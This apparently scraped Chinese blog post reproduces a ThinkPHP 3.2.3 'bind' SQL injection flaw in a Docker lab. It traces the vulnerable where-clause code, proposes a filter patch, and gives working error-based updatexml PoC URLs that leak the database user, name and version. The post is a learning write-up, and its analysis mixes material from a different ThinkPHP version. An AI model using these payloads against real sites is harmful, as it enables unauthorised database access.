ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

ref:https://www.jianshu.com/p/18d06277161e

TimeSHU 2018.04.21 02:03* 字数 761 阅读 23评论 2喜欢 0

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞复现作业

-------------------------------------------------------------

1.进入docker内部环境说明
service docker start;
docker ps;列出当前容器
docker exec -it 9b96ee2b /bin/bash;//9b96ee2b为container_id
 
2.实际调试堆栈以及参数传递情况:
/var/www/html# more index.php
// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false;方便打印日志。
define('APP_DEBUG',True);
 
下面是根据TimeSHU提供的docker环境调试update注入情况分析。

这是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))

category是数组:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"

出错堆栈信息:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E('1105:XPATH synt...')。
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): Think\Db\Driver->execute('UPDATE `vulapps...', false)
UPDATE `vulapps_message` SET `is_read`='1' WHERE `category` = '1' and(updatexml(1,concat(0x7e,(user())),0))//尽管前面为false,但是后面任然要执行。此次报错:XPATH syntax error: '~root@localhost'。

/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql语句:return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))

漏洞代码:

protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,则exp=bind
}elseif('bind' == $exp ){ //
$whereStr .= $key.' = :'.$val[1];//$whereStr.=category=:0 and (updatexml...)此处将:0拼接进去,为后面pdo参数替换制造了机会。
这里可以看出来如果where是一个数组的话,并且第一个元素为bind,那么直接就进行了拼接操作,分析到这里我们看看I函数的过滤限制并没有将bind排除。

#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }

#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition['category'] = I("category");
$data['is_read'] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition['category'])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }

#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):

补丁方法:在I函数增加bind过滤。

function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){$value.=' ';}

-------------------------------------------------------------

漏洞环境:docker

漏洞分析

首先,我们知道insert 方法存在漏洞,那就查看 insert 方法的具体实现。

该方法位于thinkphp\library\think\db\Builder.php 文件中,我们可以看到在函数开头调用了 parseData 方法,并将 $data 作为参数传入, $data 的值是我们通过 get方式传入的一个数组类型的数据,如下图:

 

我们跟进parseData方法,该方法也在 thinkphp\library\think\db\Builder.php 文件中。

可以看到,在结尾处有个switch语句,而且进入该语句后,会跳到case 'inc'的地方,这里关键就是看看 $this->parseKey 是否有对 $val[1] 变量进行过滤了;

因为$val[1]变量就是我们payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如下图:

 

继续跟进parseValue 方法,会发现直接将传入的 $key 返回了,没有进行任何过滤。

 

我们再回到最开始的insert 方法,加上调试语句,看看此时的sql语句变成了什么样子,如下图:

另一处update函数的注入与这个insert是类似的。

使用docker搭建漏洞环境

1.拉取镜像到本地

docker pull medicean/vulapps:t_thinkphp_1

  2.启动环境

docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 前面的 80 代表物理机的端口,可随意指定。

 

使用和利用

访问 http://192.168.0.104:80/, 假设启动的端口号为 80

出现下图环境搭建成功了

 

点击标记已读:可以使用burp抓包得到URL

http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

POC:

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

使用上面POC可直接获取到数据库用户名

 

爆出数据库用户名:root@localhost

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))

 

 

通过database(),报错回显一个数据库:vulapps

 

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))

 

爆出数据库版本:5.5.57-0ubuntu0.14.04.1

网上找了些资料,但还是对这个不是很懂,本来想构造一个语句看看是否能获取到数据库中的账户和密码,结果发现无法使用(尴尬..)

对上面的这段POC不算很懂,只能看出大概就是通过user()这里修改可以获取到数据库用户和版本

参考资料:

https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA

ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的更多相关文章

  1. ThinkPHP最新版本SQL注入漏洞

    如下controller即可触发SQL注入: code 区域 public function test() { $uname = I('get.uname'); $u = M('user')-> ...

  2. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  3. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  4. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  5. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  6. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  7. sql注入漏洞

    在这么多bug里给我印象最深的就是sql注入漏洞,看上去没有问题的代码却会因为用户的不正常输入而带来极其严重的问题. 现在给大家分享一下如何修复SQL注入漏洞.下面是网上的两种解决方法,其中第二方法有 ...

  8. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  9. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

随机推荐

  1. K8S dashboard 创建只读账户

    1.创建名字为“Dashboard-viewonly“的Cluster Role,各种资源只给予了list,get,watch的权限.dashboard-viewonly.yaml --- apiVe ...

  2. OpenCV---轮廓发现

    推文:OpenCV-Python教程(11.轮廓检测) 轮廓发现 是基于图像边缘提取的基础,寻找对象轮廓的方法,所以边缘提取的阈值选定会影响最终轮廓的发现 相关API findContours 发现轮 ...

  3. 安装配置hexo icarus主题配置

    安装部分配置hexo icarus主题配置 安装icarus 直接下载主题模块放到blog项目 ,blog项目根目录执行 git clone https://github.com/ppoffice/h ...

  4. 教你破解MyEclipse到2016年【图文详解】

    1.首先确定JDK以及环境变量没有问题.因为破解工具包里的run.bat是调用java命令执行jar包,如果环境变量没有配置好,那就运行不了了.2.解压破解包,双击[run.bat]打开破解界面: 3 ...

  5. 封装-python

    六 封装 从封装本身的意思去理解,封装就好像是拿来一个麻袋,把小猫,小狗,小王八,还有alex一起装进麻袋,然后把麻袋封上口子.但其实这种理解相当片面 首先我们要了解 回到顶部 6.1 要封装什么 你 ...

  6. selenium利用Excel进行参数化(简单示例)

    上篇搭建好环境后,正真开始我的自动化之旅了.... 开始之前特别说明一下testNG的版本,不能直接使用Eclipse直接线上下载的版本,线上版本太高,不能兼容,运行程序会报以下错误,需要自行下载低一 ...

  7. 树形dp的进阶 (一)

    ①树的重心的性质的运用 ②缩点以后寻找规律  树的直径! ③树形dp上的公式转换 ④和期望有关的树形dp + 一点排列组合的知识 ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 一:Codeforces Round #364 ...

  8. JAVA多线程提高七:Callable与Future的应用

    Callable与Runnable 先说一下java.lang.Runnable吧,它是一个接口,在它里面只声明了一个run()方法: public interface Runnable { publ ...

  9. jQuery技术内幕 深入解析jQuery架构设计与实现原理

    jquery的外衣 jquery是一个轻量级的JS框架 //以下截取自jquery源码片段 (function( window, undefined ) { /* 源码内容 */ })( window ...

  10. canvas h5制作写字板

    <!DOCTYPE html><html><head> <meta charset="utf-8"> <script type ...